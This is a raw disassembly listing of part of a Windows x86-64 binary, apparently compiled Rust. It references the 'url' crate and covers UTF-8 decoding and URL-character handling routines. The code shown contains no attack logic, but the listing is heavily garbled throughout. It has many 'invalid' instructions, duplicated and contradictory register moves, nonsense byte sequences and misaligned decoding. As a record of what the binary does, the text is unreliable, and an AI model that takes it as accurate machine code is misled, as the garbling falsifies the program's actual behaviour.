mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x80]
mov rcx, rdi
movzx ebp, byte [rsp + 0x77]
mov edx, ebp
mov r9, r12
call fcn.1400f9cd0
mov rcx, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov r9d, dword [rbx + 0x2c]
mov ecx, dword [rbx + 0x30]
mov r8d, dword [rbx + 0x34]
mov r10d, dword [rbx + 0x38]
lea r11, [rbx + 0x40]
movzx esi, word [rbx + 0x28]
movzx edi, word [rbx + 0x2a]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r12d
mov word [rsp + 0x48], di
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x80]
mov rcx, r15
mov r8d, ebp
call fcn.1400fae70
jmp 0x1400fd852
mov rcx, qword [rdi + 8]
add rcx, r13
mov r8, r12
call fcn.140106250
add r13, r12
mov qword [rdi + 0x10], r13
mov ebp, dword [rbx + 0x2c]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x80]
mov rdx, rdi
movzx r8d, byte [rsp + 0x77]
mov r9d, ebp
call fcn.1400fe290
mov eax, dword [rsp + 0x80]
cmp eax, 2
jne 0x1400fd802
jp 0x1400fd82e
or byte [rax], al
xor edx, edx
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
adc byte [r13 - 0x77], r9b
adc byte [r15], r9b
adc byte [rdi], al
movups xmmword [r15], xmm0
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [r15 + 0x40], xmm0
movzx r8d, byte [rbx + 0x50]
mov dh, 0x43
push rax
mov dh, 0x43
push rax
mov byte [r15 + 0x50], r8b
mov dword [r15 + 0x18], eax
mov qword [r15 + 0x1c], rdx
mov dword [r15 + 0x24], ecx
mov eax, dword [rbx + 0x28]
mov dword [r15 + 0x28], eax
mov dword [r15 + 0x2c], ebp
movups xmm0, xmmword [rbx + 0x30]
movups xmmword [r15 + 0x30], xmm0
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
mov qword [rsp + 0x78], r15
mov r15, rdx
mov rdx, rbx
mov r8, r13
call fcn.140109710
mov rdx, r15
mov r15, qword [rsp + 0x78]
mov rbx, qword [rdi + 0x10]
jmp 0x1400fd2aa
mov rcx, rdi
mov rdx, rbp
mov r8, r12
call fcn.140109710
mov rbp, qword [rdi + 0x10]
jmp 0x1400fd400
cli
mov r15, rbp
mov r13, qword [rdi + 0x10]
jmp 0x1400fd774
xor r8d, r8d
mov r9, r12
call fcn.1401087e0
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov r15, r9
mov r14, rdx
mov rsi, rcx
mov r12, qword [rsp + 0xa0]
add byte [rax], al
add byte [rcx - 0x7d], al
js 0x1400fd955
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
add byte [rax], al
add byte [rcx - 0x7d], al
js 0x1400fd955
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
je 0x1400fd963
mov r9d, dword [r8 + 0x24]
mov rdx, qword [r8 + 8]
test r9, r9
test ecx, ecx
test ecx, ecx
je 0x1400fd96d
mov rbx, qword [r8 + 0x10]
cmp rbx, r9
jbe 0x1400fd971
cmp byte [rdx + r9], 0xbf
jle 0x1400fdba3
cmp al, 0xa
mov edi, 0x2458e0f
add byte [rax], al
mov rbx, r9
jmp 0x1400fd977
mov rdx, qword [r8 + 8]
mov rbx, qword [r8 + 0x10]
jmp 0x1400fd977
xor ebx, ebx
jmp 0x1400fd977
jne 0x1400fdba3
add byte [rbp - 0x77], cl
loopne 0x1400fd9c8
mov r8, r12
sub r8, r15
sub eax, edi
add r8, rbx
mov rbp, qword [r14]
mov r13, qword [r14 + 0x10]
mov rax, rbp
sub rax, r13
cmp rax, r8
cmp eax, eax
cmp eax, eax
jb 0x1400fdb5c
cmp rax, rbx
jb 0x1400fdb83
mov rdi, qword [r14 + 8]
lea rcx, [rdi + r13]
mov r8, rbx
call fcn.140106250
add r13, rbx
mov qword [r14 + 0x10], r13
cmp r13, rbp
jne 0x1400fd9c7
mov rcx, r14
call fcn.1400ba350
mov rdi, qword [r14 + 8]
mov byte [rdi + r13], 0x23
mov byte [rdi + rbp], 0x23
inc r13
mov qword [r14 + 0x10], r13
mov eax, 0x2600
jmp 0x1400fd9ee
mov edx, ecx
cmp edx, 0x110000
jne case.0x1400dd68f.385
cmp r15, r12
je 0x1400fdaa3
movzx r9d, byte [r15]
movzx ecx, r9b
test cl, cl
js 0x1400fda10
inc r15
cmp ecx, 0xd
jbe 0x1400fda79
jmp 0x1400fd9e0
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r15 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400fda5e
movzx r8d, byte [r15 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fda8c
add ecx, dword [rcx - 0x7d]
mov dword [rbx + rax*4], 0xe2c107e2
adc al, byte [rcx - 0x3f]
loopne 0x1400fda52
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
add byte [rbp + 0x14], dh
add byte [rbp + 0x14], dh
jmp case.0x1400dd68f.385
add r15, 2
shl edx, 6
or edx, r10d
mov ecx, edx
nop word [rax + rax]
cmp ecx, 0xd
ja 0x1400fd9e0
invalid
invalid
invalid
invalid
invalid
mov edx, 0x110000
bt eax, ecx
jb 0x1400fd9e2
jmp 0x1400fd9e0
add edi, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
jbe 0x1400fda79
jmp 0x1400fd9e0
mov r15, r12
mov rcx, r14
mov rdx, r15
mov r8, r12
call fcn.1400fdc60
mov rax, qword [r14]
mov r8, qword [r14 + 8]
mov rcx, rbx
shr rcx, 0x20
jne 0x1400fdb14
invalid
mov rcx, qword [r14 + 0x10]
mov r9, qword [rsp + 0x30]
adc byte [rbx + r9*4 + 0x4c], r9b
and al, 0x30
movzx edx, byte [r9 + 0x50]
mov byte [rsi + 0x50], dl
movups xmm0, xmmword [r9 + 0x40]
movups xmmword [rsi + 0x40], xmm0
mov edx, dword [r9 + 0x3c]
mov qword [rsi], rax
mov qword [rsi + 8], r8
mov qword [rsi + 0x10], rcx
mov rax, qword [r9 + 0x18]
mov qword [rsi + 0x18], rax
mov dword [rsi + 0x20], 1
mov dword [rsi + 0x24], ebx
mov eax, dword [r9 + 0x28]
mov dword [rsi + 0x28], eax
movups xmm0, xmmword [r9 + 0x2c]
movups xmmword [rsi + 0x2c], xmm0
mov dword [rsi + 0x3c], edx
jmp 0x1400fdb4a
mov byte [rsi + 8], 9
movabs rcx, 0x8000000000000000
mov qword [rsi], rcx
test rax, rax
je 0x1400fdb4a
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r14
mov rdi, rdx
mov rdx, r13
call fcn.140109710
mov rdx, rdi
mov rbp, qword [r14]
mov r13, qword [r14 + 0x10]
mov rax, rbp
sub rax, r13
cmp rax, rbx
jae 0x1400fd99f
mov rcx, r14
mov rdi, rdx
mov rdx, r13
mov r8, rbx
call fcn.140109710
mov rdx, rdi
mov rbp, qword [r14]
mov r13, qword [r14 + 0x10]
jmp 0x1400fd99f
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
add eax, 0x7474e
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, rbx
xor r8d, r8d
call fcn.1401087e0
int3
cmp eax, 0x7377
je 0x1400fdc51
mov al, 2
ret
je 0x1400fdc83
jo 0x1400fdc44
add dword [rdi], ecx
mov dh, 0x49
add al, 0x83
int1
jae case.0x1400fdbd8.3
ror dword [rdi], 0x94
sal dword [rax - 0x3c37d7fe], 0xf
movzx eax, word [rcx]
movzx eax, word [rcx]
xor eax, 0x7377
add byte [rax], al
movzx edx, byte [rcx + 2]
xor edx, 0x73
or dx, ax
je 0x1400fdc51
movzx eax, word [rcx]
xor eax, 0x7466
movzx ecx, byte [rcx + 2]
xor ecx, 0x70
or cx, ax
int1
jo 0x1400fdcad
or ecx, eax
sete cl
mov al, 2
sub al, cl
ret
mov al, 1
ret
int3
invalid
mov rax, qword [rsp + 0x30]
mov rdx, rax
cmp rax, r13
je 0x1400fdefd
movzx ecx, byte [rdx]
mov dh, 0xa
movzx r8d, cl
test r8b, r8b
js 0x1400fdcc0
lea r10, [rdx + 1]
cmp r8d, 0xd
jbe 0x1400fdd40
jmp 0x1400fdd60
mov eax, r8d
and eax, 0x1f
movzx r9d, byte [rdx + 1]
and r9d, 0x3f
cmp r8b, 0xdf
jbe 0x1400fdd0f
movzx r8d, byte [rdx + 2]
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
cmp cl, 0xf0
jb 0x1400fdd24
lea r10, [rdx + 4]
movzx ecx, byte [rdx + 3]
and eax, 7
shl eax, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
mov r8d, ecx
cmp r8d, 0xd
jbe 0x1400fdd40
jmp 0x1400fdd60
lea r10, [rdx + 2]
shl eax, 6
or eax, r9d
mov r8d, eax
cmp r8d, 0xd
jbe 0x1400fdd40
jmp 0x1400fdd60
lea r10, [rdx + 3]
shl eax, 0xc
or r8d, eax
cmp r8d, 0xd
ja 0x1400fdd60
nop word cs:[rax + rax]
mov eax, 0x2600
bt eax, r8d
jae 0x1400fdd60
mov rdx, r10
cmp r10, r13
jne 0x1400fdca1
jmp 0x1400fdefd
mov qword [rsp + 0x30], r10
cmp r8d, 0x110000
je 0x1400fdefd
mov r14d, 1
cmp r8d, 0x80
jb 0x1400fdda1
mov r14d, 2
cmp r8d, 0x800
jb 0x1400fdda1
cmp r8d, 0x10000
mov r14d, 4
sbb r14, 0
mov rax, r13
sub rax, rdx
cmp r14, rax
jae 0x1400fddb8
cmp byte [rdx + r14], 0xbf
jg 0x1400fddbe
jmp 0x1400fdf45
jne 0x1400fdf45
test r8d, r8d
je 0x1400fddef
cmp r8d, 0x110000
je 0x1400fdefd
mov rcx, qword [rdi + 0x30]
mov rax, qword [rdi + 0x38]
mov qword [rsp + 0x20], r13
mov rsi, rdx
mov rdx, rax
mov r9, qword [rsp + 0x30]
call fcn.1400fdf70
add dword [rcx], 0
add bl, ch
invalid
add dword [rcx], 0
add bl, ch
adc eax, 0x304f8b48
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x1400fde5b
mov rax, qword [rdi + 0x38]
mov rsi, rdx
mov dl, 7
call qword [rax + 0x28]
mov rdx, rsi
jmp 0x1400fde5b
inc rdx
dec r14
mov rbp, rdx
lea rax, [rax + rax*2]
add rax, rbx
mov rsi, r14
mov r14d, 3
mov rdx, rax
mov rax, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rax, r15
cmp rax, r14
jb 0x1400fded3
test r14, r14
je 0x1400fdc90
movzx eax, byte [rdx]
movzx eax, al
test al, al
js 0x1400fde10
mov ecx, eax
shr ecx, 5
mov ecx, dword [r12 + rcx*4]
bt ecx, eax
jb 0x1400fde10
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x140172388]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.1401087e0
int3
and dword [rdx - 0x80], eax
cmp al, 3
mov edi, 0x8d481c7f
add eax, 0x73c0e
lea rax, [0x1401725a8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r9, rsi
int1
int1
call fcn.1401087e0
jne 0x1400fe993
mov rax, rsi
sub rax, r8
cmp rax, 2
jne 0x1400fe9d0
movzx eax, byte [rbx + r8]
and al, 0xdf
add al, 0xbf
mov edi, 0x877193c
mov edi, 0x877193c
cmp byte [rbx + r8 + 1], 0x3a
je 0x1400fe9ea
cmp rsi, r8
jb 0x1400fe9ea
test r8, r8
je 0x1400fe9e6
cmp rsi, r8
jbe 0x1400fe9e6
cmp byte [rbx + r8], 0xbf
jle 0x1400fea1e
mov qword [rdi + 0x10], r8
add rsp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
add al, ch
invalid
mov ecx, esi
call fcn.1401087e0
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172068]
mov edx, 0x30
call fcn.140108350
cdq
add byte [rax], al
cdq
add byte [rax], al
int3
sub al, ch
invalid
int3
adc dh, al
and al, 0x28
add dh, al
and al, 0x20
add dword [rax - 0x73], ecx
lea edx, [0x140171d10]
lea edx, [0x140171d10]
lea rcx, [rsp + 0x38]
xor r8d, r8d
call fcn.1400e2a60
invalid
invalid
dec esp
invalid
mov esi, dword [rcx]
mov rdi, qword [rcx + 8]
mov qword [rcx], 0
test rsi, rsi
je 0x1400fead5
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400feac6
mov qword [rax], rsi
mov qword [rax + 8], rdi
xor byte [rax - 0x77], cl
js 0x1400feac0
lea rdx, [0x1401720e0]
add rsp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x10
add al, ch
invalid
xchg ebp, eax
add byte [rax], al
add al, ch
or edx, dword [rbp + 0x7b90000]
add byte [rax], al
add ch, cl
sub dword [rdi], ecx
or ecx, esp
int3
mov ecx, 7
int 0x29
ud2
adc eax, 0x735f0
ret
add byte [rax], al
jmp 0x1400feb20
mov r8d, r9d
cmp r8d, 0x110000
jne case.0x1400a4d60.1502
mov r8d, 0x110000
cmp rcx, rdx
je 0x1400febe2
add byte [rax], al
add byte [rcx], dl
add byte [rax + 0x39], cl
ror dword [rdi], 1
test byte [rbx + 0xf000000], dh
add byte [rax], al
movzx ebx, byte [rcx]
add byte [rax], al
movzx ebx, byte [rcx]
movzx r9d, bl
test r9b, r9b
js 0x1400feb50
inc rcx
cmp r9d, 0xd
cmp ecx, 0xd
cmp ecx, 0xd
jbe 0x1400febba
jmp 0x1400feb10
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
mov r10d, r9d
and r10d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp r9b, 0xdf
jbe 0x1400feba2
movzx r11d, byte [rcx + 2]
shl esi, 6
invalid
and r11d, 0x3f
or r11d, esi
cmp bl, 0xf0
jb 0x1400febc9
movzx r9d, byte [rcx + 3]
add rcx, 4
and r10d, 7
shl r10d, 0x12
loop 0x1400feb9b
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
jne 0x1400febb0
add rcx, 2
shl r10d, 6
or r10d, esi
mov r9d, r10d
cmp r9d, 0xd
ja 0x1400feb10
bt eax, r9d
jb 0x1400feb13
invalid
invalid
invalid
invalid
invalid
add rcx, 3
shl r10d, 0xc
loop 0x1400febdd
loop 0x1400febdd
or r11d, r10d
mov r9d, r11d
cmp r9d, 0xd
jbe 0x1400febba
jmp 0x1400feb10
mov rcx, rdx
mov eax, 0x2600
jmp case.0x1400a4d60.1503
invalid
adc al, 0xf
invalid
mov r9d, r10d
cmp r9d, 0x110000
jne 0x1400fecc5
mov r9d, 0x110000
adc dword [rax], eax
cmp rcx, rdx
cmp ecx, edx
je 0x1400fecc2
movzx ebx, byte [rcx]
mov dh, 0x19
movzx r10d, bl
test r10b, r10b
js 0x1400fec30
inc rcx
cmp r10d, 0xd
jbe 0x1400fec9a
invalid
jbe 0x1400fec10
retf 0x2e66
mov r11d, r10d
and r11d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r10b, 0xdf
cmp dl, 0xdf
cmp dl, 0xdf
jbe 0x1400fec7e
movzx esi, byte [rcx + 2]
shl edi, 6
and esi, 0x3f
or esi, edi
cmp bl, 0xf0
jb 0x1400feca9
movzx r10d, byte [rcx + 3]
add rcx, 4
add ecx, 4
add ecx, 4
and r11d, 7
shl r11d, 0x12
shl esi, 6
and r10d, 0x3f
or r10d, esi
or r10d, r11d
cmp r10d, 0x110000
add byte [rcx], dl
add byte [rbp + 0x14], dh
add byte [rcx], dl
add byte [rbp + 0x14], dh
jmp 0x1400fecc5
add rcx, 2
shl r11d, 6
or r11d, edi
mov r10d, r11d
nop dword [rax]
cmp r10d, 0xd
ja 0x1400febf0
or eax, 0xff56870f
invalid
bt eax, r10d
jb 0x1400febf3
jmp 0x1400febf0
add rcx, 3
shl r11d, 0xc
jrcxz 0x1400fecbd
jrcxz 0x1400fecbd
or esi, r11d
mov r10d, esi
cmp r10d, 0xd
jbe 0x1400fec9a
jmp 0x1400febf0
mov rcx, rdx
mov eax, 0x2600
jmp 0x1400fecfa
invalid
nop dword cs:[rax]
inc rcx
cmp r11d, 0xd
sti
or eax, 0xc3870f
add byte [rax], al
mov r10d, 0x110000
bt eax, r11d
jae 0x1400feda0
cmp r10d, 0x110000
jne 0x1400fedb0
mov r10d, 0x110000
cmp rcx, rdx
je 0x1400fedb0
and ebp, 0x3f
cmp r11b, 0xdf
jbe 0x1400fed6a
mov dh, 0x59
add eax, dword [rbx - 0x193ef81a]
adc al, cl
out 6, eax
and r11d, 0x3f
or r11d, edi
or r11d, esi
cmp r11d, 0x110000
invalid
je 0x1400fedb0
add byte [rsi + rdx*2 + 0x48], dh
add ecx, 4
cmp r11d, 0xd
jbe 0x1400fecdd
or esi, ebp
mov r11d, esi
cmp r11d, 0xd
jbe 0x1400fecdd
jmp 0x1400feda0
mov ebx, edi
cmp r11d, 0xd
cmp ebx, 0xd
cmp ebx, 0xd
sti
or eax, 0xff45860f
invalid
jbe 0x1400fecdd
nop dword [rax + rax]
mov r10d, r11d
cmp r10d, 0x110000
je 0x1400fecfa
test byte [rdx - 1], cl
invalid
invalid
test byte [rdx - 1], cl
invalid
xor eax, eax
cmp r8d, 0x110000
je 0x1400fee1e
cmp r9d, 0x110000
je 0x1400fee1e
and r8d, 0xffffffdf
add r8d, 0xffffffbf
cmp r10d, 0x110000
fild word [rcx - 0x7d]
sar byte [rdi + 0xfa8141], 0
adc dword [rax], eax
jne 0x1400feded
cmp r8d, 0x1a
jae 0x1400fee1c
cmp r9d, 0x3a
sete cl
cmp r9d, 0x7c
cmp ecx, 0x7c
cmp ecx, 0x7c
sete al
or al, cl
jmp 0x1400fee1e
cmp r8d, 0x1a
jae 0x1400fee1c
cmp r9d, 0x7c
je 0x1400fedff
cmp r9d, 0x3a
jne 0x1400fee1c
add r10d, 0xffffffdd
cmp r10d, 0x3a
jae 0x1400fee1c
movabs rax, 0x200000010001001
bt rax, r10
setb al
jmp 0x1400fee1e
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
ret
or byte [r11 + rcx*4 + 0x41], cl
adc byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0x8148
pop r14
pop r15
jmp fcn.140013870
int3
ror byte [rdi], 0x84
lea eax, [rbx]
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
iretd
mov rdi, rcx
cmp al, 1
jne 0x1400ff8ee
mov r8d, dword [rdi + 0x34]
mov r9d, dword [rdi + 0x38]
mov rbp, qword [rdi + 8]
mov r15, qword [rdi + 0x10]
jg 0x1400ff8e5
jg 0x1400ff8e5
cmp r8d, r9d
ja 0x1400ff90c
enter 0x3277, 0x45
test eax, eax
test r8d, r8d
je 0x1400ff8fa
cmp r15, r8
jbe 0x1400ff8f8
cmp byte [rbp + r8], 0xc0
cmp byte [rbp + rax], 0xc0
jge 0x1400ff8fa
jmp 0x1400ff90c
mov rbp, qword [rdi + 8]
mov ebp, dword [rdi + 8]
mov r15, qword [rdi + 0x10]
mov edi, dword [rdi + 0x10]
jmp 0x1400ff946
jne 0x1400ff90c
test r9d, r9d
je 0x1400ff925
cmp r15, r9
jbe 0x1400ff923
cmp byte [rbp + r9], 0xbf
jg 0x1400ff925
invalid
sbb dword [rax - 0x73], ecx
add eax, 0x72ea5
movsd dword [rdi], dword [rsi]
invalid
invalid
invalid
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
movsd dword [rdi], dword [rsi]
invalid
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, r15
call fcn.1401087e0
jne 0x1400ff90c
cmp r9d, r8d
jne 0x1400ff946
sal dword [rbp + 0x1c], 0x49
lea rcx, [r8 + rbp]
lea ecx, [rax + rbp]
sub r9, r8
mov edx, 1
mov r8, r9
call fcn.1401068d0
test eax, eax
je case.0x1400f7520.361
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rbx + rcx*4 + 0x77], al
mov esi, dword [rdi + 0x2c]
test r14, r14
mov r14d, dword [rdi + 0x2c]
mov esi, dword [rdi + 0x2c]
test r14, r14
je case.0x1400dc1f5.581
cmp r15, r14
jbe 0x1400ff979
cmp byte [rbp + r14], 0xbf
jg case.0x1400dbca2.572
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
xchg ebp, eax
sub dword [rdi], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, r15
xor r8d, r8d
mov r9, r14
call fcn.1401087e0
jne 0x1400ff95c
cmp r14d, 4
jne case.0x1400dc1f5.581
lea rdx, [0x14017231c]
mov rcx, rbp
mov r8, r14
call fcn.1401068d0
test eax, eax
je case.0x1400f7520.361
mov al, 2
add byte [rax], al
mov al, 2
add byte [rax], al
lea r13d, [r14 + 3]
mov ebx, dword [rdi + 0x30]
cmp r13d, ebx
ja 0x1400ffcfd
test r13d, r13d
je 0x1400ff9c2
cmp r15, r13
jbe 0x1400ff9cb
cmp byte [rbp + r13], 0xc0
jge 0x1400ff9d1
jmp 0x1400ffcfd
test ebx, ebx
jne 0x1400ff9d5
jmp 0x1400ffc36
jne 0x1400ffcfd
add byte [rax], al
test ebx, ebx
je 0x1400ffa22
cmp r15, rbx
jbe 0x1400ffa12
cmp byte [rbp + rbx], 0xbf
jle 0x1400ffcfd
cmp ebx, r13d
je 0x1400ffc36
add al, byte [rax]
add byte [rax - 0x40ffe284], al
jg 0x1400ffa2b
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, r15
mov r8, rbx
mov r9, r15
call fcn.1401087e0
jne 0x1400ffcfd
cmp ebx, r13d
jne 0x1400ffa2b
test r13d, r13d
test ebp, ebp
je 0x1400ffc36
mov r14, r15
mov ecx, 1
sub r14, rbx
je case.0x1400dd530.485
and ecx, dword [rdi]
mov byte [rdx], cl
add eax, dword [rax]
add byte [rdi], cl
js 0x1400ffd48
mov dh, 5
retf
test ch, dh
add al, byte [rax]
add byte [rax - 0x77], cl
mov ecx, eax
lea rdx, [rbx + rbp]
mov qword [rsp + 0x30], rcx
mov ecx, eax
lea rdx, [rbx + rbp]
lea edx, [rbx + rbp]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
mov r8, r14
call fcn.140106250
add byte [rcx + rcx*4 - 2], cl
cmp r15, r13
jb 0x1400ffa91
test r13d, r13d
je 0x1400ffa8a
adc dword [rbp + 0x39], ecx
out dx, eax
cmp r15, r13
jbe 0x1400ffa8a
cmp byte [rbp + r13], 0xbf
jle 0x1400ffd5a
add al, byte [rax]
invalid
mov edi, 0x2d08e0f
add byte [rax], al
mov qword [rdi + 0x10], r13
mov dword [rdi + 0x10], ebp
mov rsi, r13
mov rax, rsi
shr rax, 0x20
mov rcx, rsi
shl rcx, 0x20
invalid
or rcx, 0x900
test rax, rax
test eax, eax
test eax, eax
mov r12d, 0x901
cmove r12, rcx
test r12b, r12b
jne 0x1400ffd1a
invalid
add byte [rbx - 0x3eb6cf91], cl
in al, dx
and byte [rcx + rcx*4 + 0x67], al
mov dword [rdi + 0x30], r12d
cmp r15, rbx
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov ebp, dword [rdi + 0x30]
shr r12, 0x20
mov dword [rdi + 0x30], r12d
cmp r15, rbx
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
jne case.0x1400e208f.471
cmp r13d, r12d
je 0x1400ffb9c
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
rol byte [rax], cl
add byte [rax], al
movzx r9d, byte [rdx]
movzx eax, r9b
test al, al
js 0x1400ffb31
cmp r13d, r12d
jne 0x1400ffb92
invalid
add byte [rbx - 0x7af0bf08], al
lahf
add byte [rax], al
add byte [rax], al
cmp r14, 1
cmp eax, 0x40
jne 0x1400ffb9c
add byte [rax], al
add byte [rax], al
cmp r14, 1
jbe 0x1400ffc5e
push rdi
add dword [rax], eax
add byte [rax + 0xfbf017a], al
invalid
cmp byte [rdx + 1], 0xbf
jg 0x1400ffc64
add byte [rax], al
add byte [rax], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
add eax, 0x72ce8
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
mov r8d, 1
mov rcx, rdx
mov rdx, r14
mov r9, r14
int1
int1
call fcn.1401087e0
mov ecx, eax
and ecx, 0x1f
movzx r8d, byte [rdx + 1]
and r8d, 0x3f
cmp al, 0xdf
jbe 0x1400ffb81
movzx eax, byte [rdx + 2]
shl r8d, 6
and eax, 0x3f
or eax, r8d
or eax, eax
or eax, eax
cmp r9b, 0xf0
jb 0x1400ffc91
movzx r8d, byte [rdx + 3]
and ecx, 7
shl ecx, 0x12
shl eax, 6
and r8d, 0x3f
or r8d, eax
or r8d, ecx
or eax, ecx
mov eax, r8d
cmp r13d, r12d
je 0x1400ffaf4
jmp 0x1400ffb92
shl ecx, 6
or ecx, r8d
mov eax, ecx
cmp r13d, r12d
je 0x1400ffaf4
invalid
cmp eax, 0x3a
je 0x1400ffb9c
cmp eax, 0x40
jne 0x1400ffbb1
mov rax, qword [rdi]
sub rax, rsi
cmp rax, r14
jb 0x1400ffca4
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdi + 8]
jmp 0x1400ffbe7
and al, 0x30
mov rax, qword [rdi]
invalid
mov rcx, qword [rdi + 8]
mov byte [rcx + rsi], 0x40
inc rsi
mov qword [rdi + 0x10], rsi
sub rax, rsi
invalid
sub eax, esi
cmp rax, r14
jb 0x1400ffcc0
inc r12d
add rcx, rsi
mov r8, r14
call fcn.140106250
add rsi, r14
test byte [rcx + 0x29], 0xec
sub r12d, ebp
mov qword [rdi + 0x10], rsi
movq xmm0, qword [rdi + 0x34]
movd xmm1, r12d
pshufd xmm1, xmm1, 0x50
paddd xmm1, xmm0
movq qword [rdi + 0x34], xmm1
invalid
invalid
invalid
invalid
invalid
xor al, 0x44
add dword [rdi + 0x3c], esp
add dword [rdi + 0x3c], r12d
cmp dword [rdi + 0x18], 0
je 0x1400ffc22
add dword [rdi + 0x1c], r12d
cmp dword [rdi + 0x20], 0
mov r8, qword [rsp + 0x30]
add byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
je 0x1400ffc31
add dword [rdi + 0x24], r12d
and al, 0x49
cmp edi, ebx
cmp r15, rbx
jne 0x1400ffc3a
xor ebx, ebx
jmp case.0x1400f7520.361
mov rcx, qword [0x140182260]
xor ebx, ebx
xor edx, edx
sar bh, cl
adc eax, 0x12715
add byte [rcx], dh
invalid
sar bh, cl
adc eax, 0x12715
mov eax, ebx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jne 0x1400ffb11
inc rdx
mov rax, qword [rdi]
sub rax, rsi
cmp rax, r14
jb 0x1400ffce0
inc ebp
mov rcx, qword [rdi + 8]
add rcx, rsi
mov r8, r14
call fcn.140106250
add byte gs:[rax], al
add byte gs:[rax], al
add rsi, r14
mov r12d, r13d
jmp case.0x1400e208f.474
shl ecx, 0xc
or eax, ecx
cmp r13d, r12d
je 0x1400ffaf4
jmp 0x1400ffb92
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.140109710
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rdi + 0x10]
jmp 0x1400ffbab
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.140109710
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rdi + 8]
mov rsi, qword [rdi + 0x10]
jmp 0x1400ffbe4
mov rcx, rdi
mov r12, rdx
mov rdx, rsi
mov r8, r14
call fcn.140109710
mov rdx, r12
loop 0x1400ffd3d
mov esi, dword [rdi + 0x10]
loop 0x1400ffd3d
mov esi, dword [rdi + 0x10]
